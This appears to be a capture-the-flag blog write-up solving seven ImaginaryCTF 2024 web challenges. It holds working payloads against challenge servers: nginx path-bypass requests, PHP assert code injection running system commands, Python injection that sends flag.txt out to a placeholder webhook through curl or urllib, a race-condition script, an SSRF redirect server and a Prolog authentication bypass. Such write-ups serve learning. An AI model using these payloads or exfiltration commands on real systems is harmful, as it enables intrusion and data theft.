Home ImaginaryCTF 2024 [WEB]
Post
Cancel

ImaginaryCTF 2024 [WEB]

Web Category

Table of Content

All of the challenge archives can be found here

readme

image

Looking at NGINX default.conf, if the file exists in the server it will give the user 404 Error

1
2
3
4
5
6
7
8
9
10
11
12
server {
    listen       80 default_server;
    listen  [::]:80;
    root /app/public;

    location / {
        if (-f $request_filename) {
            return 404;
        }
        proxy_pass http://localhost:8000;
    }
}

The location of flag located in the same folder as index.html named flag.txt. Browsing directly the WEB URL, will give the user the following response.

1
2
3
4
5
6
7
8
9
10
11
12
└─$ curl http://readme.chal.imaginaryctf.org/
<!DOCTYPE html>
<html lang="en">
	<head>
		<meta charset="UTF-8" />
		<meta name="viewport" content="width=device-width, initial-scale=1.0" />
		<title>Hello World</title>
	</head>
	<body>
		It works!
	</body>
</html> 

Accessing, flag.txt or index.html will give 404 Error

1
2
3
4
5
6
7
8
└─$ curl http://readme.chal.imaginaryctf.org/index.html
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.22.1</center>
</body>
</html>

How can we bypass this? Atleast we know the version of the NGINX used is 1.22.1. Searching for request_filename in the NGINX configuration file led us to this Hacktricks : Proxy Protections Bypass article.

image

Either using Burp or use a simple netcat method as shown below to get the flag.

1
2
└─$ echo -e "GET /flag.txt\xA0\x0aHTTP/1.1" | nc readme.chal.imaginaryctf.org 80            
ictf{path_normalization_to_the_res

Flag: ictf{path_normalization_to_the_res

journal

image

When I read the index.php, there is one line that catch my eyes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

echo "<p>Welcome to my journal app!</p>";
echo "<p><a href=/?file=file1.txt>file1.txt</a></p>";
echo "<p><a href=/?file=file2.txt>file2.txt</a></p>";
echo "<p><a href=/?file=file3.txt>file3.txt</a></p>";
echo "<p><a href=/?file=file4.txt>file4.txt</a></p>";
echo "<p><a href=/?file=file5.txt>file5.txt</a></p>";
echo "<p>";

if (isset($_GET['file'])) {
  $file = $_GET['file'];
  $filepath = './files/' . $file;

  // This line look suspicious?
  assert("strpos('$file', '..') === false") or die("Invalid file!");

  if (file_exists($filepath)) {
    include($filepath);
  } else {
    echo 'File not found!';
  }
}

echo "</p>";

Our input directly used in the assert() function. Won’t that be dangerous? After try and error we can read the flag with the following payload

1
2
3
4
5
# URL Encoded
test%27,%27..%27)%20or%20die(system(%27cat%20/flag*.txt%27));//

# Original 
test','..') or die(system('cat /flag*.txt'));//

image

Flag: ictf{assertion_failed_e3106922feb13b10}

P2C

image

I feel that my solution for this challenge is unintended. By using local environment, I noticed that it’s possible to execute python code. If we insert print(1).

image

The following temporary file with code*.py will be created in /tmp/uploads directory.

image

Since we are able to inject any python code in main() function. We just need to create a payload that will send us back the flag.txt content. But the docker environment did not include wget or curl. So, I used curl static binary to exfiltrate flag.txt

1
2
3
4
import base64,os
curl_content=b"<BASE64_CURL_CONTENT"
open("/tmp/curl","wb").write(curl_content)
os.system("chmod +x /tmp/curl;/tmp/curl https://<WEBHOOK_SERVER>/?content=`cat flag.txt |base64 -w0`")

image

NOTES: Actually urllib library can be use also xD

1
2
3
4
5
6
7
8
9
# POST Method
from urllib.request import urlopen, Request
httprequest = Request('https://<WEBHOOK>/',data=open("flag.txt","r"),method='POST')
urlopen(httprequest)

# GET Method
from urllib.request import urlopen, Request
httprequest = Request('https://<WEBHOOK>/?='+open("flag.txt","r").read())
urlopen(httprequest)

Flag: ictf{d1_color_picker_fr_2ce0dd3d}

crystal

image

This is a web challenge with Ruby framework. Interestingly, there is not much in app.rb

1
2
3
4
5
6
require 'sinatra'

# Route for the index page
get '/' do
  erb :index
end

The flag not located in usual place but embedded in the hostname.

1
2
3
4
5
6
7
version: '3.3'
services:
  deployment:
    hostname: $FLAG
    build: .
    ports:
      - 10001:80

How could we possibly get the hostname from the web? Is it possible that we could get the hostname through error page or invalid page? By sending a random path, we get the following page.

image

By sending a POST request, we get the following response.

1
2
3
4
5
└─$ curl -XPOST http://crystals.chal.imaginaryctf.org                                              
WEBrick::HTTPStatus::LengthRequired: WEBrick::HTTPStatus::LengthRequired
	/var/lib/gems/3.0.0/gems/webrick-1.8.1/lib/webrick/httprequest.rb:530:in `read_body'
	/var/lib/gems/3.0.0/gems/webrick-1.8.1/lib/webrick/httprequest.rb:257:in `body'
	/var/lib/gems/3.0.0/gems/rackup-2.1.0/lib/rackup/handler/webrick.rb:67:in `block in initialize'

What if we send all special characters and see if we could get different response? I use the following script and identify few characters that could get us the flag!

1
2
3
4
5
6
7
8
9
10
11
# Script
for chars in '!' '@' '#' '$' '%' '^' '&' '*' '(' ')' '-' '=' '+' '[' ']' '{' '}' ';' ':' '"' "'" '<' '>' ',' '.' '/' '?' '\\' '|' '`'; do echo $chars;echo;curl -ks "http://crystals.chal.imaginaryctf.org/"$chars| grep -i ictf;done

# Characters with Bad URI 
^
"
<
>
\
|
`

Flag: ictf{seems_like_you_broke_it_pretty_bad_76a87694}

The Amazing Race

image

To get the source code, we need to hit the following endpoints:

1
2
3
maze.py    = /maze
app.py     = /source
Dockerfile = /docker

It took me a while to understand the code, but atleast we know how to get the flag. From app.py, the solved variable will be use to determine if we can get the flag or not

1
2
3
4
5
6
7
8
9
10
11
12
13
14
MAZE_SIZE = 35

@app.route("/<mazeId>")
def index(mazeId):
    if not mazeId:
        return redirect(f"/{createMaze()}")
    # if our maze ID location equal to this value we can get the flag
    # getloc(mazeId) == (34,34)
    solved=getLoc(mazeId) == (MAZE_SIZE-1, MAZE_SIZE-1)
    return render_template("maze.html", 
        maze=getMaze(mazeId), 
        mazeId=mazeId,
        flag=open("flag.txt").read() if solved else ""
    )

But looking at the maze page, we probably need to find a way to get into F.

image

The neighbour of F will be sets to #.

1
2
3
4
5
def gen(self):
    ...
    self.set(*([self.size-1]*self.dim), val='F')
    for i in self.neighbors(*([self.size-1]*self.dim)):
        self.set(*i, val='#')

I tried to solve the maze using python but actually that’s not the right path because of the above restrictions :’) Thanks @vicevirus and @zx for finding the right path! It’s related to race condition attack.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import sys,requests,threading
from bs4 import BeautifulSoup as bs
import time

# Global Variables
TARGET = "http://the-amazing-race.chal.imaginaryctf.org/"
TARGET_MOVE = "http://the-amazing-race.chal.imaginaryctf.org/move"
MAZE_ID = ""

# Function : getMaze()
def getMaze():
    resp = requests.get(TARGET,verify=False)
    soup=bs(resp.text, 'html.parser')
    maze = soup.find('code').text.strip()
    mazeid = resp.url.split("/")[-1]
    return maze,mazeid

def getCurrentMaze():
    resp = requests.get(TARGET,verify=False)
    soup=bs(resp.text, 'html.parser')
    maze = soup.find('code').text.strip()
    return maze

def moveDown():
    requests.post(TARGET_MOVE,verify=False,headers={"Content-Type":"application/x-www-form-urlencoded"},data={"Down":"Down"},params = {'id': MAZE_ID,'move': 'down'})

def moveRight():
    requests.post(TARGET_MOVE,verify=False,headers={"Content-Type":"application/x-www-form-urlencoded"},data={"Right":"Right"},params = {'id': MAZE_ID,'move': 'right'})

def moveLeft():
    requests.post(TARGET_MOVE,verify=False,headers={"Content-Type":"application/x-www-form-urlencoded"},data={"Left":"Left"},params = {'id': MAZE_ID,'move': 'left'})

def moveUp():
    requests.post(TARGET_MOVE,verify=False,headers={"Content-Type":"application/x-www-form-urlencoded"},data={"Up":"Up"},params = {'id': MAZE_ID,'move': 'up'})


if __name__ == "__main__":
    # Get Maze
    maze,MAZE_ID = getMaze()
    TARGET = TARGET+MAZE_ID
    print(maze)
    print()

    while ("ictf" not in requests.get(TARGET,verify=False).text):
        before = getCurrentMaze()
        # Race down
        for i in range(10):
            th = threading.Thread(target=moveDown, args=())
            th.start()

        # Race right
        for i in range(10):
            th = threading.Thread(target=moveRight, args=())
            th.start()

        after = getCurrentMaze()
        if before == after:
            moveLeft()
            moveUp()
            print(getCurrentMaze())    
            print()
        else:
            print(getCurrentMaze())    
            print()
    
    print(requests.get(TARGET,verify=False).text)

image

NOTES: After the event I read some articles related to Database Race Conditions. You can find the article below

Link: https://medium.com/@C0l0red/database-race-conditions-f459d94ee2d0

Flag : ictf{turns_out_all_you_need_for_quantum_tunneling_is_to_be_f@st}

readme2

image

This challenge using Bun to create a HTTP server.

image

There are two (2) ports involved which are 3000 (internal) and 4000 (external). There are few restrictions in here that could restrict the user from adding any flag keywords in URL or HTTP Headers. To get the flag, the user need to send a request to /flag.txt on port 3000.

There is one interesting line that catch my eyes.

1
2
3
4
5
return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), {
    method: req.method,
    headers: req.headers,
    body: req.body
})

Searching around, I discovered this article by Mizu. Reading through the writeup, the payload that he used was \\127.0.0.1\a. When I put \\google.com it redirected to official Google website.

image

At first, I got no clue for the next steps. But, thanks to @vicevirus hints the solution would be to utilize fetch() redirection.

image

For this, we may need to setup a HTTP server that will redirect to http://localhost:3000/flag.txt

1
2
3
4
5
6
7
8
9
10
from flask import Flask, redirect

app = Flask(__name__)

@app.route("/", methods=["GET"])
def index():
    return redirect("http://localhost:3000/flag.txt")	

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8080)

Then, send the payload as shown in the picture.

image

Flag: ictf{just_a_funny_bug_in_bun_http_handling}

Pwning en Logique

image

For this challenge, I didn’t manage to solve it during the event. But for learning purpose, let’s go through together from what have been discussed in the Official discord server.

FORMAT STRING VULNERABILITY

Looking at the greet, there is a usage of format() function.

1
2
3
4
5
6
7
8
greet(Request) :-
    http_session_data(username(Username)),
    http_parameters(Request, [
        greeting(Greeting, [default('Hello')]),
        format(Format, [default('~w, ~w!')])
    ]),
    content_type,
    format(Format, [Greeting, Username]).

If we use the default creds guest:guest and access /greet we will get the following response.

image

Im not familiar with prolog but actually there are two (2) HTTP parameters that we can use greeting and format.

image

But is there anything that we could abused from these parameters? At the end our input will go through the following code:

1
2
3
4
5
# Original
format(Format, [Greeting, Username])

# Input: greeting=Hello, format='~w, ~w!'
format('~w, ~w!', ['Hello', 'guest'])

More information about format string can be found in here. I noticed that the error of using “~@” will call a prologue predicate.

Unknown procedure: test123/0

image

Maybe we need to find prologue predicate that ends with /0? Searching around, I found this and this page. Try and error, I found a good candidate that can be use to get our flag!

1
2
3
edit/0 == will open the editor of server.pl locally (Cannot use remotely I guess?)

listing/0 == lists all predicates defined 

Link to listing/0 predicate: https://www.swi-prolog.org/pldoc/man?predicate=listing/0

image

ARBITRARY CONTENT-TYPE

Another solution discussed in the discord server is not related to format string issue. I found some good reference in here

If we look into login function, there is no content-type restrictions in here as well as the usage of member() to check the Users list.

1
2
3
4
5
6
7
8
9
10
11
12
login(Request) :-
    member(method(post), Request),
    http_read_data(Request, Data, []),
    ((
        member(username=Username, Data),
        member(password=Password, Data),
        users(Users),
        member(Username=Password, Users),
        http_session_retractall(_OldUsername),
        http_session_assert(username(Username)),
        http_redirect(see_other, '/greet', Request)
    );

By sending the following request, I assumed (I’m not really sure.. Could be wrong) it will use with the following check

1
2
3
4
member(guest='password',[guest=guest,'AzureDiamond'=hunter2,admin=AdminPass]).

# Result
false.

image

But if we use content type application/x-prolog, we could set the password to uninitialized variable. This will let us to bypass the authentication as it will always set to true.

1
2
3
4
member(guest=Unknownvariable,[guest=guest,'AzureDiamond'=hunter2,admin=AdminPass]).

# Result
Unknownvariable = guest . (true?)

With this in knowledge, we could send the following data to login as admin and get the flag.

1
[username=admin,password=Unknownvariable].

image

image

This post is licensed under CC BY 4.0 by the author.